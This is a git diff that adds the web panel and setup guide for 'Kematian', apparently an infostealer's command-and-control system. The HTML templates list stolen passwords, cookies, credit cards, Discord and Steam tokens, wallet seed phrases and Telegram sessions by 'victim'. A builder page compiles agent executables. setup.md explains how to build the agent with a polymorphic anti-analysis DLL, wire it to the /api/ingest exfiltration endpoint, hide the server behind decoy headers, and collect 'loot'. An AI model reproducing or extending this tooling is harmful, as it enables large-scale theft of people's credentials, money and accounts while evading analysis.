gap: 16px; + margin-bottom: 24px; + flex-wrap: wrap; +} +.page-head h1 { margin: 0; font-size: 24px; font-weight: 800; letter-spacing: -0.4px; } +.page-head .muted { margin: 4px 0 0; } +.with-ico { display: flex; align-items: center; gap: 10px; } +.head-ico { width: 26px; height: 26px; } +.head-actions { display: flex; gap: 10px; } +.section-title { margin: 34px 0 14px; font-size: 17px; font-weight: 700; } + +/* ---------- buttons ---------- */ +.btn { + display: inline-flex; align-items: center; gap: 6px; + padding: 9px 15px; border-radius: 10px; + font-size: 13px; font-weight: 600; + border: 1px solid var(--border-2); cursor: pointer; + background: var(--bg-3); color: var(--text); + transition: background 0.15s, border 0.15s, transform 0.1s; +} +.btn:hover { background: var(--bg-4); } +.btn:active { transform: translateY(1px); } +.btn-primary { background: linear-gradient(135deg, var(--accent-2), var(--accent)); border-color: transparent; color: #fff; } +.btn-primary:hover { background: linear-gradient(135deg, #6d28d9, #9333ea); } +.btn-ghost { background: transparent; } +.btn-sm { padding: 5px 10px; font-size: 12px; } + +/* ---------- stat cards ---------- */ +.stat-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 20px; } +.stat-card { + background: var(--bg-2); + border: 1px solid var(--border); + border-radius: 16px; + padding: 20px 22px; + display: flex; flex-direction: column; gap: 12px; + position: relative; + overflow: hidden; +} +.stat-card::after { + content: ""; position: absolute; top: 0; right: 0; width: 120px; height: 120px; + background: radial-gradient(circle at top right, var(--accent-dim), transparent 70%); + pointer-events: none; +} +.stat-ico { + width: 46px; height: 46px; border-radius: 13px; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; +} +.stat-ico img { width: 24px; height: 24px; filter: brightness(0) invert(1); } +.stat-num { font-size: 28px; font-weight: 800; letter-spacing: -0.5px; line-height: 1; } +.stat-label { color: var(--muted); font-size: 12.5px; font-weight: 500; } +.stat-trend { align-self: flex-start; font-size: 11px; color: var(--green); font-weight: 600; background: var(--green-dim); padding: 2px 9px; border-radius: 20px; } +.stat-trend.up::before { content: "↑ "; } + +/* ---------- type cards grid ---------- */ +.grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); + gap: 12px; +} +.type-card { + display: flex; align-items: center; gap: 12px; + background: var(--bg-2); border: 1px solid var(--border); + border-radius: 12px; padding: 14px; + transition: border 0.15s, transform 0.15s, background 0.15s; +} +.type-card:hover { border-color: var(--accent); transform: translateY(-2px); background: var(--bg-3); } +.type-ico { width: 30px; height: 30px; flex: 0 0 30px; } +.type-label { font-size: 12px; color: var(--muted); font-weight: 500; } +.type-count { font-size: 19px; font-weight: 700; margin-top: 2px; } + +/* ---------- charts ---------- */ +.charts-row { display: grid; grid-template-columns: 3fr 2fr; gap: 16px; margin-bottom: 20px; } +.charts-row.single { grid-template-columns: 1fr; } +.chart-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 20px; } +.chart-card h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; } +.chart-body { position: relative; min-height: 240px; } + +/* ---------- tables ---------- */ +.table-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; overflow: hidden; } +.table-scroll { overflow-x: auto; } +table { width: 100%; border-collapse: collapse; } +th, td { text-align: left; padding: 12px 16px; border-bottom: 1px solid var(--border); font-size: 13px; } +th { font-size: 11px; text-transform: uppercase; letter-spacing: 0.7px; color: var(--muted); background: var(--bg-3); font-weight: 700; } +tbody tr:last-child td { border-bottom: none; } +tbody tr:hover { background: rgba(255, 255, 255, 0.02); } +.empty { text-align: center; color: var(--muted); padding: 30px; font-style: italic; } +.client-link { color: var(--accent); font-weight: 500; } + +/* ---------- status chip ---------- */ +.chip { display: inline-flex; align-items: center; gap: 5px; padding: 3px 10px; border-radius: 20px; font-size: 11px; font-weight: 600; } +.chip-green { background: var(--green-dim); color: var(--green); } +.chip-red { background: var(--red-dim); color: var(--red); } +.chip-gray { background: var(--bg-4); color: var(--muted); } + +/* ---------- secrets ---------- */ +.pw { color: var(--accent); cursor: pointer; font-family: var(--mono); font-size: 12px; } +.pw:hover { background: var(--accent-dim); border-radius: 4px; } +.tag { display: inline-block; padding: 2px 9px; border-radius: 20px; background: var(--bg-3); border: 1px solid var(--border-2); font-size: 11px; color: var(--muted); font-weight: 600; } + +/* ---------- auth ---------- */ +.auth-wrap { display: flex; align-items: center; justify-content: center; min-height: 88vh; } +.auth-card { + width: 380px; background: var(--bg-2); border: 1px solid var(--border); + border-radius: 20px; padding: 38px 36px; display: flex; flex-direction: column; + box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4); +} +.auth-logo { + width: 54px; height: 54px; border-radius: 15px; align-self: center; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; + font-size: 26px; color: #fff; box-shadow: 0 6px 24px rgba(124, 58, 237, 0.5); +} +.auth-card h1 { margin: 16px 0 2px; font-size: 22px; text-align: center; font-weight: 800; } +.auth-sub { text-align: center; color: var(--muted); margin: 0 0 24px; font-size: 13px; } +.auth-card label { font-size: 12px; color: var(--muted); margin: 12px 0 5px; } +.auth-card input { + background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); + padding: 12px 14px; border-radius: 11px; font-size: 14px; transition: border 0.15s; +} +.auth-card input:focus { outline: none; border-color: var(--accent); } +.auth-card .btn { margin-top: 22px; justify-content: center; } +.auth-link { text-align: center; margin-top: 16px; color: var(--muted); font-size: 12px; } +.auth-link:hover { color: var(--accent); } + +/* ---------- search ---------- */ +.search-bar { display: flex; gap: 10px; margin-bottom: 20px; } +.search-bar input { flex: 1; background: var(--bg-2); border: 1px solid var(--border-2); color: var(--text); padding: 12px 14px; border-radius: 11px; font-size: 14px; } +.search-bar input:focus { outline: none; border-color: var(--accent); } + +/* ---------- builder / fileshare ---------- */ +.form-card, .upload-card, .build-progress { + background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 22px 24px; margin-bottom: 22px; max-width: 640px; +} +.form-card h2, .upload-card h2, .build-progress h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; } +.form-card label, .upload-card label { font-size: 12px; color: var(--muted); margin: 12px 0 4px; display: block; } +.form-card input, .upload-card input { width: 100%; background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); padding: 10px 12px; border-radius: 9px; font-size: 13px; font-family: var(--mono); } +.form-card input:focus, .upload-card input:focus { outline: none; border-color: var(--accent); } +.form-card .hint, .upload-card .hint { font-size: 11px; color: var(--muted); margin: 4px 0 0; } +.form-card .hint code, .upload-card .hint code { color: var(--accent); } +.form-row { display: flex; gap: 12px; } +.form-row > div { flex: 1; } +.form-card .btn, .upload-card .btn { margin-top: 20px; } +.upload-form { display: flex; flex-direction: column; gap: 10px; } +.upload-form input[type="file"] { color: var(--text); background: var(--bg-3); border: 1px solid var(--border-2); border-radius: 9px; padding: 9px 12px; font-size: 13px; } +.upload-form input[type="text"] { max-width: 200px; } +.build-log { font-family: var(--mono); font-size: 12px; background: #05060a; border: 1px solid var(--border); border-radius: 10px; padding: 14px; max-height: 300px; overflow: auto; white-space: pre-wrap; word-break: break-word; color: #c9d1da; } +.build-actions { margin-top: 14px; } + +.tag-done { color: var(--green); border-color: rgba(52,211,153,0.3); background: var(--green-dim); } +.tag-running { color: var(--accent); border-color: var(--accent); background: var(--accent-soft); } +.tag-error { color: var(--red); border-color: var(--red); background: var(--red-dim); } + +.panel-foot { text-align: center; padding: 16px 12px 20px; } +.panel-foot a { color: var(--muted); font-size: 12px; text-decoration: none; opacity: .75; transition: opacity .15s ease; } +.panel-foot a:hover { opacity: 1; color: var(--accent); } diff --git a/panel/static/icons/app.svg b/panel/static/icons/app.svg new file mode 100644 index 0000000..3947ecc --- /dev/null +++ b/panel/static/icons/app.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/autofill.svg b/panel/static/icons/autofill.svg new file mode 100644 index 0000000..a1a3251 --- /dev/null +++ b/panel/static/icons/autofill.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/bookmark.svg b/panel/static/icons/bookmark.svg new file mode 100644 index 0000000..6f57b9a --- /dev/null +++ b/panel/static/icons/bookmark.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/card.svg b/panel/static/icons/card.svg new file mode 100644 index 0000000..7712791 --- /dev/null +++ b/panel/static/icons/card.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/cookie.svg b/panel/static/icons/cookie.svg new file mode 100644 index 0000000..3919c2a --- /dev/null +++ b/panel/static/icons/cookie.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/dash.svg b/panel/static/icons/dash.svg new file mode 100644 index 0000000..78cf4a8 --- /dev/null +++ b/panel/static/icons/dash.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/discord.svg b/panel/static/icons/discord.svg new file mode 100644 index 0000000..afa412b --- /dev/null +++ b/panel/static/icons/discord.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/extension.svg b/panel/static/icons/extension.svg new file mode 100644 index 0000000..f1110c2 --- /dev/null +++ b/panel/static/icons/extension.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/files.svg b/panel/static/icons/files.svg new file mode 100644 index 0000000..c32dc97 --- /dev/null +++ b/panel/static/icons/files.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/game.svg b/panel/static/icons/game.svg new file mode 100644 index 0000000..4df7955 --- /dev/null +++ b/panel/static/icons/game.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/history.svg b/panel/static/icons/history.svg new file mode 100644 index 0000000..71e222c --- /dev/null +++ b/panel/static/icons/history.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/key.svg b/panel/static/icons/key.svg new file mode 100644 index 0000000..a89fed2 --- /dev/null +++ b/panel/static/icons/key.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/pass.svg b/panel/static/icons/pass.svg new file mode 100644 index 0000000..6a4e7fc --- /dev/null +++ b/panel/static/icons/pass.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/seed.svg b/panel/static/icons/seed.svg new file mode 100644 index 0000000..d3784a8 --- /dev/null +++ b/panel/static/icons/seed.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/steam.svg b/panel/static/icons/steam.svg new file mode 100644 index 0000000..8b92f83 --- /dev/null +++ b/panel/static/icons/steam.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/telegram.svg b/panel/static/icons/telegram.svg new file mode 100644 index 0000000..f7f3f48 --- /dev/null +++ b/panel/static/icons/telegram.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/vpn.svg b/panel/static/icons/vpn.svg new file mode 100644 index 0000000..3549921 --- /dev/null +++ b/panel/static/icons/vpn.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/wallet.svg b/panel/static/icons/wallet.svg new file mode 100644 index 0000000..10bc608 --- /dev/null +++ b/panel/static/icons/wallet.svg @@ -0,0 +1 @@ + diff --git a/panel/static/js/app.js b/panel/static/js/app.js new file mode 100644 index 0000000..02ac3ff --- /dev/null +++ b/panel/static/js/app.js @@ -0,0 +1,35 @@ +// Secret toggle: `.pw` cells are masked by default. A global "Reveal" button +// (`.reveal-all`) toggles visibility. Clicking a `.pw` cell copies its value. +document.addEventListener("DOMContentLoaded", () => { + const mask = (el) => { + if (!el.dataset.real) el.dataset.real = el.textContent; + el.dataset.masked = ""; + el.textContent = el.dataset.real.replace(/./g, "•"); + }; + + document.querySelectorAll(".pw").forEach((el) => mask(el)); + + const revealAll = document.querySelector(".reveal-all"); + if (revealAll) { + revealAll.addEventListener("click", () => { + const on = revealAll.dataset.on === "1"; + document.querySelectorAll(".pw").forEach((el) => { + if (on) mask(el); + else el.textContent = el.dataset.real || el.textContent; + }); + revealAll.dataset.on = on ? "" : "1"; + revealAll.textContent = on ? "Reveal secrets" : "Hide secrets"; + }); + } + + document.querySelectorAll(".pw").forEach((el) => { + el.addEventListener("click", () => { + const real = el.dataset.real || el.textContent; + navigator.clipboard?.writeText(real).then(() => { + const prev = el.textContent; + el.textContent = "copied ✓"; + setTimeout(() => { el.textContent = prev; }, 700); + }).catch(() => {}); + }); + }); +}); diff --git a/panel/templates/base.html b/panel/templates/base.html new file mode 100644 index 0000000..5b15002 --- /dev/null +++ b/panel/templates/base.html @@ -0,0 +1,83 @@ + + + + + +{% block title %}Kematian Panel{% endblock %} + + + + +{% block head %}{% endblock %} + + +{% if session.get('admin') %} + +{% endif %} +
+ {% with messages = get_flashed_messages(with_categories=true) %} + {% for cat, msg in messages %} +
{{ msg }}
+ {% endfor %} + {% endwith %} + {% block content %}{% endblock %} +
+ + + diff --git a/panel/templates/builder.html b/panel/templates/builder.html new file mode 100644 index 0000000..bc10222 --- /dev/null +++ b/panel/templates/builder.html @@ -0,0 +1,95 @@ +{% extends "base.html" %} +{% block title %}Builder · Kematian{% endblock %} +{% block content %} +
+
+

Agent Builder

+

Build a fresh kematian.exe on the server with your panel + Telegram config baked in.

+
+
+ +{% if error %} +
{{ error }}
+{% endif %} + +
+
+

Target configuration

+ + + +

Panelinizin adresi. `/api/ingest` otomatik eklenir.

+ + + +

Paneldeki PANEL_INGEST_KEY ile aynı olmalı.

+ +
+
+ + +
+
+ + +
+
+ + + + + +
+
+ +{% if started %} +
+

Build #{{ started }}

+
+
+{% endif %} + +{% if builds %} +

Recent builds

+
+ + + + {% for id, j in builds.items() %} + + + + + + + {% endfor %} + +
#StatusFile
#{{ id }}{{ j['status'] }}{{ j['exe'] and os.path.basename(j['exe']) or '—' }}{% if j['exe'] %}Download{% elif j['status'] == 'running' %}{% endif %}
+
+{% endif %} + + +{% endblock %} diff --git a/panel/templates/categories/view.html b/panel/templates/categories/view.html new file mode 100644 index 0000000..2297c09 --- /dev/null +++ b/panel/templates/categories/view.html @@ -0,0 +1,151 @@ +{% extends "base.html" %} +{% block title %}{{ title }} · Kematian{% endblock %} +{% block content %} +
+
+

{{ label }}

+

{{ title }} · {{ rows|length }} total{% if client_filter %} · clear filter{% endif %}

+ {% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %} +

→ download hosted files for this client

+ {% endif %} +
+
+ {% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %} + + {% endif %} + Raw JSON +
+
+ +
+
+ + + + {% if key == 'passwords' %}{% endif %} + {% if key == 'cookies' %}{% endif %} + {% if key == 'autofill' %}{% endif %} + {% if key == 'history' %}{% endif %} + {% if key == 'bookmarks' %}{% endif %} + {% if key == 'credit_cards' %}{% endif %} + {% if key == 'discord_tokens' %}{% endif %} + {% if key == 'files' %}{% endif %} + {% if key == 'extensions' %}{% endif %} + {% if key == 'wallets' %}{% endif %} + {% if key == 'telegram' %}{% endif %} + {% if key == 'keys' %}{% endif %} + {% if key in ['wallets','telegram','gaming'] %}{% endif %} + {% if key == 'app_credentials' %}{% endif %} + {% if key == 'seeds' %}{% endif %} + {% if key == 'gaming' %}{% endif %} + {% if key == 'steam_tokens' %}{% endif %} + {% if key == 'vpns' %}{% endif %} + + + + + {% for r in rows %} + + {% if key == 'passwords' %} + + + + + {% endif %} + {% if key == 'cookies' %} + + + + + {% endif %} + {% if key == 'autofill' %} + + + + {% endif %} + {% if key == 'history' %} + + + + + {% endif %} + {% if key == 'bookmarks' %} + + + + {% endif %} + {% if key == 'credit_cards' %} + + + + + {% endif %} + {% if key == 'discord_tokens' %} + + + {% endif %} + {% if key == 'files' %} + + + + {% endif %} + {% if key == 'extensions' %} + + + + + {% endif %} + {% if key == 'wallets' %} + + + + + {% endif %} + {% if key == 'telegram' %} + + + + + {% endif %} + {% if key == 'keys' %} + + + + + {% endif %} + {% if key in ['wallets','telegram','gaming'] %} + + {% endif %} + {% if key == 'app_credentials' %} + + + + + {% endif %} + {% if key == 'seeds' %} + + + + {% endif %} + {% if key == 'gaming' %} + + + {% endif %} + {% if key == 'steam_tokens' %} + + + {% endif %} + {% if key == 'vpns' %} + + + {% endif %} + + + {% else %} + + {% endfor %} + +
URLUsernamePasswordBrowserHostNameValueBrowserFieldValueBrowserURLTitleVisitsLast visitNameURLTypeCardHolderExpBrowserTokenSourceNameSizePathNameVersionBrowserIDNameTypeSizeAddressesAccountFilesSizePathTypeNameSizePathFilesAppHostUsernamePasswordPhraseSourceWordsPlatformDataSteam IDTokenVPNDataClient
{{ r['url'] or '' }}{{ r['username'] or '' }}{{ r['password'] or '' }}{{ r['browser'] or '' }}{{ r['host'] or '' }}{{ r['name'] or '' }}{{ r['value'] or '' }}{{ r['browser'] or '' }}{{ r['name'] or '' }}{{ r['value'] or '' }}{{ r['browser'] or '' }}{{ r['url'] or '' }}{{ r['title'] or '' }}{{ r['visit_count'] or 0 }}{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}{{ r['name'] or '' }}{{ r['url'] or '' }}{{ r['type'] or '' }}{{ r['card_number'] or '' }}{{ r['name_on_card'] or '' }}{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}{{ r['browser'] or '' }}{{ r['token'] or '' }}{{ r['source'] or '' }}{{ r['name'] or '' }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}{{ r['name'] or '' }}{{ r['version'] or '' }}{{ r['browser'] or '' }}{{ r['ext_id'] or '' }}{{ r['name'] or '' }}{{ r['type'] or '' }}{{ (r['size'] | filesize) }}{{ r['addresses'] or '' }}{{ r['account'] or '' }}{{ r['files'] or 0 }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}{{ r['type'] or '' }}{{ r['name'] or '' }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}Download{{ r['application'] or '' }}{{ r['host'] or '' }}{{ r['username'] or '' }}{{ r['password'] or '' }}{{ r['phrase'] or '' }}{{ r['source'] or '' }}{{ r['words'] or 0 }}{{ r['platform'] or '' }}{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}{{ r['steam_id'] or '' }}{{ r['token'] or '' }}{{ r['vpn'] or '' }}{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}{{ r.client_id }}
No {{ label|lower }} yet.
+
+
+{% endblock %} diff --git a/panel/templates/client_detail.html b/panel/templates/client_detail.html new file mode 100644 index 0000000..7b0a41b --- /dev/null +++ b/panel/templates/client_detail.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}{{ cli.client_id }} · Kematian{% endblock %} +{% block content %} +
+
+

{{ cli.client_id }}

+

{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}

+
+ +
+ +
+
{{ cli.ip or '—' }}
IP
+
{{ cli.total_entries }}
Entries
+
{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}
First seen
+
{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}
Last seen
+
+ +

Data breakdown

+
+ {% for key, s in per_cat.items() %} + + +
+
{{ s.label }}
+
{{ s.count }}
+
+
+ {% endfor %} +
+{% endblock %} diff --git a/panel/templates/clients.html b/panel/templates/clients.html new file mode 100644 index 0000000..07ad5b5 --- /dev/null +++ b/panel/templates/clients.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}Clients · Kematian{% endblock %} +{% block content %} +
+
+

Clients

+

Every agent that has reported in.

+
+
+ +
+ + + + + + {% for c in clients %} + + + + + + + + + + + {% else %} + + {% endfor %} + +
ClientOSArchVersionIPFirst seenLast seenEntries
{{ c.client_id }}{{ c.os or '—' }}{{ c.arch or '—' }}{{ c.version or '—' }}{{ c.ip or '—' }}{{ (c.first_seen | datetime) if c.first_seen else '—' }}{{ (c.last_seen | datetime) if c.last_seen else '—' }}{{ c.total_entries }}
No clients yet.
+
+{% endblock %} diff --git a/panel/templates/dashboard.html b/panel/templates/dashboard.html new file mode 100644 index 0000000..7cd649c --- /dev/null +++ b/panel/templates/dashboard.html @@ -0,0 +1,154 @@ +{% extends "base.html" %} +{% block title %}Dashboard · Kematian {% endblock %} +{% block head %} + +{% endblock %} +{% block content %} +
+
+

Dashboard

+

Overview of everything Kematian has collected. t.me/electronic_sex

+
+ +
+ +
+
+
+
{{ client_count }}
+
Total Clients
+ live +
+
+
+
{{ stats['passwords'].count }}
+
Passwords Captured
+ collected +
+
+
+
{{ stats['cookies'].count }}
+
Cookies Stolen
+ collected +
+
+
+
{{ stats['discord_tokens'].count }}
+
Discord Tokens
+ collectible +
+
+ +
+
+

Activity Overview

+
+
+
+

Data Distribution

+
+
+
+ +
+

Recent Activity

+ +
+ +
+
+ + + + + + {% for c in recent %} + + + + + + + + + {% else %} + + {% endfor %} + +
DateVictimIPSystemEntries
{{ (c.last_seen | datetime) if c.last_seen else '—' }}{{ c.client_id }}{{ c.ip or '—' }}{{ c.os or '—' }} {{ c.arch or '' }}{{ c.total_entries }}View
No clients yet. Data lands here when the agent posts.
+
+
+ + +{% endblock %} diff --git a/panel/templates/fileshare.html b/panel/templates/fileshare.html new file mode 100644 index 0000000..5e35d73 --- /dev/null +++ b/panel/templates/fileshare.html @@ -0,0 +1,73 @@ +{% extends "base.html" %} +{% block title %}FileShare · Kematian{% endblock %} +{% block content %} +
+
+

FileShare

+

Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.

+
+
+ +
+

Upload a file

+
+ + + + + +
+

Uploaded files are stored under panel/loot/upload/ and get a shareable link.

+
+ +

Hosted files ({{ blobs|length }})

+
+ + + + {% for b in blobs %} + + + + + + + + {% else %} + + {% endfor %} + +
ClientFileTypeSize
{% if b.client_id == 'upload' %}upload{% else %}{{ b.client_id }}{% endif %}{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }} + Download + +
No files shared yet.
+
+ +

Clients with files

+
+ {% for cid, items in by_client.items() %} + + +
+
{{ 'your uploads' if cid == 'upload' else cid }}
+
{{ items }} file{{ '' if items == 1 else 's' }}
+
+
+ {% else %} +

No client has hosted files.

+ {% endfor %} +
+ + +{% endblock %} diff --git a/panel/templates/login.html b/panel/templates/login.html new file mode 100644 index 0000000..42c0b27 --- /dev/null +++ b/panel/templates/login.html @@ -0,0 +1,19 @@ +{% extends "base.html" %} +{% block title %}Login · Kematian{% endblock %} +{% block content %} +
+
+ +

kematianpanel

+

Admin login

+ + + + + + + + +
+
+{% endblock %} diff --git a/panel/templates/loot.html b/panel/templates/loot.html new file mode 100644 index 0000000..219b02b --- /dev/null +++ b/panel/templates/loot.html @@ -0,0 +1,32 @@ +{% extends "base.html" %} +{% block title %}Loot · {{ client_id }} · Kematian{% endblock %} +{% block content %} +
+
+

Files · {{ client_id }}

+

Hosted login files (wallets, Steam, Telegram) — click to download.

+
+ +
+ +
+ + + + {% for b in blobs %} + + + + + + + {% else %} + + {% endfor %} + +
FileTypeSize
{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }}Download
No hosted files for this client yet.
+
+{% endblock %} diff --git a/panel/templates/loot_all.html b/panel/templates/loot_all.html new file mode 100644 index 0000000..36cab9c --- /dev/null +++ b/panel/templates/loot_all.html @@ -0,0 +1,29 @@ +{% extends "base.html" %} +{% block title %}Loot · Kematian{% endblock %} +{% block content %} +
+
+

Loot

+

All hosted files (wallets, Steam, Telegram) across every client.

+
+
+ +
+ + + + {% for b in blobs %} + + + + + + + + {% else %} + + {% endfor %} + +
ClientFileTypeSize
{{ b.client_id }}{{ b.filename }}{{ b.category or '—' }}{{ (b.size | filesize) }}Download
No hosted files yet. They appear when a client reports wallets/Steam/Telegram.
+
+{% endblock %} diff --git a/panel/templates/search.html b/panel/templates/search.html new file mode 100644 index 0000000..5fe44bd --- /dev/null +++ b/panel/templates/search.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}Search · Kematian{% endblock %} +{% block content %} +
+
+

Search

+

Look for anything across passwords, cookies, and discord tokens.

+
+
+ + + +{% if q %} +
+ + + + {% for r in results %} + + + + + + {% else %} + + {% endfor %} + +
TypeDetailClient
{{ r.type }}{{ r.detail }}{{ r.client }}
No matches for "{{ q }}".
+
+{% endif %} +{% endblock %} diff --git a/panel/templates/setup.html b/panel/templates/setup.html new file mode 100644 index 0000000..b44b26e --- /dev/null +++ b/panel/templates/setup.html @@ -0,0 +1,20 @@ +{% extends "base.html" %} +{% block title %}Setup · Kematian{% endblock %} +{% block content %} +
+
+ +

Create admin

+

One-time setup — runs only once

+ + + + + + + + + Back to login +
+
+{% endblock %} diff --git a/setup.md b/setup.md new file mode 100644 index 0000000..7b6859f --- /dev/null +++ b/setup.md @@ -0,0 +1,175 @@ +# Setup Guide + +End-to-end setup for the Kematian collector panel + agent build pipeline. + +Project: https://t.me/electronic_sex + +## Table of contents + +1. [Requirements](#requirements) +2. [Panel setup](#1-panel-setup) +3. [First-run configuration](#2-first-run-configuration) +4. [Building the agent](#3-building-the-agent) +5. [Wiring the agent to the panel](#4-wiring-the-agent-to-the-panel) +6. [Verification](#5-verification) +7. [Environment variables reference](#6-environment-variables-reference) +8. [Troubleshooting](#7-troubleshooting) + +--- + +## Requirements + +| Tool | Version (verified) | Purpose | +|------|--------------------|---------| +| Python | 3.10+ (3.14 verified) | Panel (Flask) | +| Go | 1.21+ (1.26 verified) | Agent build | +| Rust / Cargo | 1.75+ (1.95 verified) | Polymorphic anti-analysis DLL | +| Rust target `x86_64-pc-windows-gnu` | — | Windows GNU target for the DLL | +| pip packages | `panel/requirements.txt` | Flask, Werkzeug, cryptography | + +Install the Rust target if missing: + +```powershell +rustup target add x86_64-pc-windows-gnu +``` + +--- + +## 1. Panel setup + +```powershell +cd panel +pip install -r requirements.txt +python app.py +``` + +On first start the panel: + +- creates the SQLite database `panel/kematian.db` +- generates the X25519 keypair at `panel/kematian_e2ee.key` (private key never leaves the panel) +- serves on `0.0.0.0:5000` (override with `PANEL_PORT`) + +Open `http://localhost:5000/setup` to create the admin account, then log in. + +> A fresh DB and E2EE key are regenerated automatically if you delete them — +> resetting is as simple as deleting `kematian.db` and `kematian_e2ee.key`. + +--- + +## 2. First-run configuration + +Change these before exposing the panel (see env reference below): + +- `PANEL_SECRET` — Flask session signing key +- `PANEL_INGEST_KEY` — the Bearer token the agent sends (default `CHANGE-ME`) + +```powershell +$env:PANEL_SECRET = "long-random-session-secret" +$env:PANEL_INGEST_KEY = "long-random-ingest-token" +python app.py +``` + +> The agent's `PanelAuth` must equal `PANEL_INGEST_KEY`. If you change the +> panel key, rebuild agents with the new value. + +--- + +## 3. Building the agent + +### Option A — Web builder (recommended) + +1. Log in to the panel. +2. Go to **Builder** (`/build`). +3. Enter: + - Panel endpoint (e.g. `http://your-server:5000/api/ingest`) + - Ingest key (must match `PANEL_INGEST_KEY`) + - Optional Telegram bot token + chat ID + - Build name +4. Click **Build agent** and watch the live log. +5. Download the resulting `.exe` from the build log page. + +The builder: + +- copies the native Go tree to a temp dir (source never modified) +- regenerates `rust-extractor/src/gen.rs` with fresh per-build constants +- rebuilds the Rust anti-analysis DLL +- patches `PanelEndpoint` / `PanelAuth` (+ Telegram) and runs `go build` + +Requires `go` and `cargo` on `PATH` (or `BUILDER_CARGO` pointing to cargo). + +### Option B — Local batch build + +`Kematian-Standalone/final/build_final.bat` prompts for the endpoint, ingest +key, and optional Telegram config, then builds and restores the sources. + +--- + +## 4. Wiring the agent to the panel + +The agent needs two values patched at build time (`native/recovery/exfil/panel.go`): + +- `PanelEndpoint` — the panel's `/api/ingest` URL +- `PanelAuth` — the `PANEL_INGEST_KEY` + +The X25519 **public key is auto-fetched at runtime** from `GET /e2ee/pub` using +the same Bearer token, so no manual key exchange is needed. If the panel is +behind a firewall, allow the agent to reach the endpoint. + +Wire scheme (agent → panel): + +``` +X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305 +POST /api/ingest { "enc": "" } +``` + +Only the panel private key can decrypt ingested payloads. + +--- + +## 5. Verification + +1. Panel up: `GET http://127.0.0.1:5000/` → 200 (redirects to login). +2. Health probe returns 404 without the token (by design — no liveness beacon): + ```powershell + curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/health + ``` +3. Public key endpoint: + ```powershell + curl.exe -H "Authorization: Bearer $env:PANEL_INGEST_KEY" http://127.0.0.1:5000/e2ee/pub + ``` +4. Run a built agent on a clean host → the panel shows a new client and its + categories populate on the dashboard / client pages. +5. Hosted files (wallet dirs, Telegram sessions, Steam files) appear under + **Loot** and are downloadable. + +--- + +## 6. Environment variables reference + +| Variable | Default | Purpose | +|----------|---------|---------| +| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key | +| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send | +| `PANEL_PORT` | `5000` | Bind port | +| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IP allowlist for ingress/login | +| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) | +| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP | +| `PANEL_DECOY_NAME` | `nginx` | Decoy `Server` header value | +| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in builder form | +| `BUILDER_NATIVE_DIR` | `/Kematian-Standalone/native` | Agent Go source tree | +| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built `.exe` files are stored | +| `BUILDER_CARGO` | (PATH) | Path to `cargo` executable | + +--- + +## 7. Troubleshooting + +| Symptom | Fix | +|---------|-----| +| `ModuleNotFoundError` on panel start | `pip install -r requirements.txt` | +| Panel binds but shows nothing / 502 | Check `PANEL_PORT` is free; run `python app.py` in foreground | +| Build fails with `go: no go.mod` | Set `BUILDER_NATIVE_DIR` to `/Kematian-Standalone/native` | +| Rust DLL build fails | Ensure 